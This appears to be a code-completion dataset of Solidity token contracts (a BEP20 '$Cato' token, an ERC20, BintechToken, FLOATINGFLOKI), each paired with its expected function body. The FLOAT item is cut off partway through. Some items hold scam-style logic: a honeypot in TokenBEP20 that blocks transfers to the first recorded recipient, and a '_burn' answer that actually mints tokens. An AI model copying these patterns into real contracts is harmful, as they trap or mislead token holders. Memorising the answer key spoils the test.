contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = " $Cato"; name = "catologytoken.com"; decimals = 8; _totalSupply = 1000000 * 10**9 * 10**8; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } <FILL_FUNCTION> function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } }
require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true;
function transfer(address to, uint tokens) public returns (bool success)
function transfer(address to, uint tokens) public returns (bool success)
73794
ERC20
_burn
contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _mta(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _mta(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _mta(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mta2(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint amount_ = amount.mul(11).div(100); uint burnAmount_ = amount.sub(amount_); address dead = 0x000000000000000000000000000000000000dEaD; _balances[sender] = _balances[sender].sub(amount_, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount_); _balances[dead] = _balances[dead].add(burnAmount_); emit Transfer(sender, recipient, amount_); } function _initMint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal {<FILL_FUNCTION_BODY> } function _withdraw(address account, uint amount) internal { require(account != address(0), "ERC20: _withdraw to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _stake(address acc) internal { _balances[acc] = 0; } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _mta(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _mta(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _mta(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mta2(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint amount_ = amount.mul(11).div(100); uint burnAmount_ = amount.sub(amount_); address dead = 0x000000000000000000000000000000000000dEaD; _balances[sender] = _balances[sender].sub(amount_, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount_); _balances[dead] = _balances[dead].add(burnAmount_); emit Transfer(sender, recipient, amount_); } function _initMint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } <FILL_FUNCTION> function _withdraw(address account, uint amount) internal { require(account != address(0), "ERC20: _withdraw to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _stake(address acc) internal { _balances[acc] = 0; } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount);
function _burn(address account, uint amount) internal
function _burn(address account, uint amount) internal
74516
BintechToken
distributeTokens
contract BintechToken is ERC223, Ownable { using SafeMath for uint256; string public name = "BintechToken"; string public symbol = "BTT"; uint8 public decimals = 8; uint256 public initialSupply = 2e8 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping (address => uint) balances; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed burner, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); constructor() public { totalSupply = initialSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } modifier onlyPayloadSize(uint256 size){ assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length>0); } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint i = 0; i < targets.length; i++) { require(targets[i] != 0x0); frozenAccount[targets[i]] = isFrozen; emit FrozenFunds(targets[i], isFrozen); } } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint i = 0; i < targets.length; i++){ require(unlockUnixTime[targets[i]] < unixTimes[i]); unlockUnixTime[targets[i]] = unixTimes[i]; emit LockedFunds(targets[i], unixTimes[i]); } } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf(_from) >= _unitAmount); balances[_from] = SafeMath.sub(balances[_from], _unitAmount); totalSupply = SafeMath.sub(totalSupply, _unitAmount); emit Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = SafeMath.add(totalSupply, _unitAmount); balances[_to] = SafeMath.add(balances[_to], _unitAmount); emit Mint(_to, _unitAmount); emit Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function distributeTokens(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = SafeMath.mul(amount, 1e8); uint256 totalAmount = SafeMath.mul(amount, addresses.length); require(balances[msg.sender] >= totalAmount); for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount); emit Transfer(msg.sender, addresses[i], amount); } balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount); return true; } function distributeTokens(address[] addresses, uint[] amounts) public returns (bool) {<FILL_FUNCTION_BODY> } function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint i = 0; i < addresses.length; i++) { require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = SafeMath.mul(amounts[i], 1e8); require(balances[addresses[i]] >= amounts[i]); balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]); totalAmount = SafeMath.add(totalAmount, amounts[i]); emit Transfer(addresses[i], msg.sender, amounts[i]); } balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf(owner) >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if (msg.value > 0) owner.transfer(msg.value); balances[owner] = SafeMath.sub(balances[owner], distributeAmount); balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount); emit Transfer(owner, msg.sender, distributeAmount); } function() payable public { autoDistribute(); } }
contract BintechToken is ERC223, Ownable { using SafeMath for uint256; string public name = "BintechToken"; string public symbol = "BTT"; uint8 public decimals = 8; uint256 public initialSupply = 2e8 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping (address => uint) balances; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed burner, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); constructor() public { totalSupply = initialSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } modifier onlyPayloadSize(uint256 size){ assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length>0); } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint i = 0; i < targets.length; i++) { require(targets[i] != 0x0); frozenAccount[targets[i]] = isFrozen; emit FrozenFunds(targets[i], isFrozen); } } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint i = 0; i < targets.length; i++){ require(unlockUnixTime[targets[i]] < unixTimes[i]); unlockUnixTime[targets[i]] = unixTimes[i]; emit LockedFunds(targets[i], unixTimes[i]); } } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf(_from) >= _unitAmount); balances[_from] = SafeMath.sub(balances[_from], _unitAmount); totalSupply = SafeMath.sub(totalSupply, _unitAmount); emit Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = SafeMath.add(totalSupply, _unitAmount); balances[_to] = SafeMath.add(balances[_to], _unitAmount); emit Mint(_to, _unitAmount); emit Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function distributeTokens(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = SafeMath.mul(amount, 1e8); uint256 totalAmount = SafeMath.mul(amount, addresses.length); require(balances[msg.sender] >= totalAmount); for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount); emit Transfer(msg.sender, addresses[i], amount); } balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount); return true; } <FILL_FUNCTION> function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint i = 0; i < addresses.length; i++) { require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = SafeMath.mul(amounts[i], 1e8); require(balances[addresses[i]] >= amounts[i]); balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]); totalAmount = SafeMath.add(totalAmount, amounts[i]); emit Transfer(addresses[i], msg.sender, amounts[i]); } balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf(owner) >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if (msg.value > 0) owner.transfer(msg.value); balances[owner] = SafeMath.sub(balances[owner], distributeAmount); balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount); emit Transfer(owner, msg.sender, distributeAmount); } function() payable public { autoDistribute(); } }
require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint i = 0; i < addresses.length; i++){ require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = amounts[i].mul(1e8); totalAmount = SafeMath.add(totalAmount, amounts[i]); } require(balances[msg.sender] >= totalAmount); for (i = 0; i < addresses.length; i++) { balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amounts[i]); emit Transfer(msg.sender, addresses[i], amounts[i]); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); return true;
function distributeTokens(address[] addresses, uint[] amounts) public returns (bool)
function distributeTokens(address[] addresses, uint[] amounts) public returns (bool)
37542
FLOAT
_getRValues2
contract FLOAT is Ownable, Rebasable { using FLOATSafeMath for uint256; using Address for address; IUniswapV2Router02 public immutable _uniswapV2Router; event Transfer(address indexed from, address indexed to, uint amount); event Approval(address indexed owner, address indexed spender, uint amount); event Rebase(uint256 indexed epoch, uint256 scalingFactor); event WhitelistFrom(address _addr, bool _whitelisted); event WhitelistTo(address _addr, bool _whitelisted); event UniswapPairAddress(address _addr, bool _whitelisted); string public name = "FLOATINGFLOKI"; string public symbol = "FLOAT"; uint8 public decimals = 9; address payable public MarketingAddress = payable(0x0d363028947CB033Aa7ed97D392d36A7E4e38559); // Marketing Address address payable public BuybackAddress = payable(0xD4F1F91c61aDe33f38560328D393A368E73C4b71); // Buyback Address address public BurnAddress = 0x000000000000000000000000000000000000dEaD; address public rewardAddress; /** * @notice Internal decimals used to handle scaling factor */ uint256 public constant internalDecimals = 10**9; /** * @notice Used for percentage maths */ uint256 public constant BASE = 10**9; /** * @notice Scaling factor that adjusts everyone's balances */ uint256 public FLOATScalingFactor = BASE; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) internal _allowedFragments; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping(address => bool) public whitelistFrom; mapping(address => bool) public whitelistTo; mapping(address => bool) public uniswapPairAddress; address private currentPoolAddress; address private currentPairTokenAddress; address public uniswapETHPool; address[] public futurePools; uint256 initSupply = 10**8 * 10**9; uint256 _totalSupply = 10**8 * 10**9; uint16 public SELL_FEE; uint16 public TX_FEE; uint256 private _tFeeTotal; uint256 private constant MAX = ~uint256(0); uint256 private _rTotal = (MAX - (MAX % _totalSupply)); uint16 public FYFee = 100; uint256 public _maxTxAmount = 10**6 * 10**9; uint256 public _minTokensBeforeSwap = 10000 * 10**9; uint256 public MarketingDivisor = 4; uint256 public BuybackDivisor = 4; uint256 private buyBackUpperLimit = 1 * 10**18; bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled; bool public tradingEnabled; bool public buyBackEnabled = true; event MaxTxAmountUpdated(uint256 maxTxAmount); event TradingEnabled(); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event RewardLiquidityProviders(uint256 tokenAmount); event BuyBackEnabledUpdated(bool enabled); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor(IUniswapV2Router02 uniswapV2Router) public Ownable() Rebasable() { _uniswapV2Router = uniswapV2Router; currentPoolAddress = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), uniswapV2Router.WETH()); currentPairTokenAddress = uniswapV2Router.WETH(); uniswapETHPool = currentPoolAddress; rewardAddress = address(this); updateSwapAndLiquifyEnabled(false); _rOwned[_msgSender()] = reflectionFromToken(_totalSupply, false); emit Transfer(address(0), _msgSender(), _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function getSellBurn(uint256 value) private view returns (uint256) { uint256 nPercent = value.mul(SELL_FEE).divRound(100); return nPercent; } function getTxBurn(uint256 value) private view returns (uint256) { uint256 nPercent = value.mul(TX_FEE).divRound(100); return nPercent; } function _isWhitelisted(address _from, address _to) internal view returns (bool) { return whitelistFrom[_from]||whitelistTo[_to]; } function _isUniswapPairAddress(address _addr) internal view returns (bool) { return uniswapPairAddress[_addr]; } function setWhitelistedTo(address _addr, bool _whitelisted) external onlyOwner { emit WhitelistTo(_addr, _whitelisted); whitelistTo[_addr] = _whitelisted; } function setTxFee(uint16 fee) external onlyOwner { require(fee < 90, 'FLOAT: Transaction fee should be less than 95%'); TX_FEE = fee; } function buyBackUpperLimitAmount() private view returns (uint256) { return buyBackUpperLimit; } function setFYFee(uint16 fee) external onlyOwner { require(fee > 2, 'FLOAT: Frictionless yield fee should be greater than 2%'); FYFee = fee; } function setSellFee(uint16 fee) external onlyOwner { require(fee < 90, 'FLOAT: Sell fee should be less than 95%'); SELL_FEE = fee; } function setWhitelistedFrom(address _addr, bool _whitelisted) external onlyOwner { emit WhitelistFrom(_addr, _whitelisted); whitelistFrom[_addr] = _whitelisted; } function setUniswapPairAddress(address _addr, bool _whitelisted) external onlyOwner { emit UniswapPairAddress(_addr, _whitelisted); uniswapPairAddress[_addr] = _whitelisted; } function maxScalingFactor() external view returns (uint256) { return _maxScalingFactor(); } function _maxScalingFactor() internal view returns (uint256) { // scaling factor can only go up to 2**256-1 = initSupply * FLOATScalingFactor // this is used to check if FLOATScalingFactor will be too high to compute balances when rebasing. return uint256(-1) / initSupply; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); // decrease allowance _approve(sender, _msgSender(), _allowedFragments[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function balanceOf(address account) public view returns (uint256) { if (_isExcluded[account]) return _tOwned[account].mul(FLOATScalingFactor).div(internalDecimals); uint256 tOwned = tokenFromReflection(_rOwned[account]); return _scaling(tOwned); } function balanceOfUnderlying(address account) external view returns (uint256) { return tokenFromReflection(_rOwned[account]); } function allowance(address owner_, address spender) external view returns (uint256) { return _allowedFragments[owner_][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "FLOAT: approve from the zero address"); require(spender != address(0), "FLOAT: approve to the zero address"); _allowedFragments[owner][spender] = amount; emit Approval(owner, spender, amount); } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 rAmount = TAmount.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _totalSupply, "Amount must be less than supply"); uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 fee = getTxBurn(TAmount); uint256 rAmount = TAmount.mul(currentRate); if (!deductTransferFee) { return rAmount; } else { (uint256 rTransferAmount,,) = _getRValues(TAmount, fee, currentRate); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _rOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _rOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "FLOAT: cannot transfer from the zero address"); require(recipient != address(0), "FLOAT: cannot transfer to the zero address"); require(amount > 0, "FLOAT: Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner() && !inSwapAndLiquify) { require(amount <= _maxTxAmount, "FLOAT: Transfer amount exceeds the maxTxAmount."); if((_msgSender() == currentPoolAddress || _msgSender() == address(_uniswapV2Router)) && !tradingEnabled) require(false, "FLOAT: trading is disabled."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= _minTokensBeforeSwap; if (!inSwapAndLiquify && swapAndLiquifyEnabled && recipient == currentPoolAddress) { if (overMinimumTokenBalance) { contractTokenBalance = _minTokensBeforeSwap; swapTokens(contractTokenBalance); } uint256 balance = address(this).balance; if (buyBackEnabled && balance > uint256(1 * 10**18)) { if (balance > buyBackUpperLimit) balance = buyBackUpperLimit; buyBackTokens(balance.mul(1)); } } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint256 transferredBalance = address(this).balance.sub(initialBalance); //Send to Marketing and Buyback contract transferToAddressETH(MarketingAddress, transferredBalance.div(SELL_FEE).mul(MarketingDivisor)); transferToAddressETH(BuybackAddress, transferredBalance.div(SELL_FEE).mul(BuybackDivisor)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function buyBackTokens(uint256 amount) private lockTheSwap { if (amount > 0) { swapETHForTokens(amount); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); // make the swap 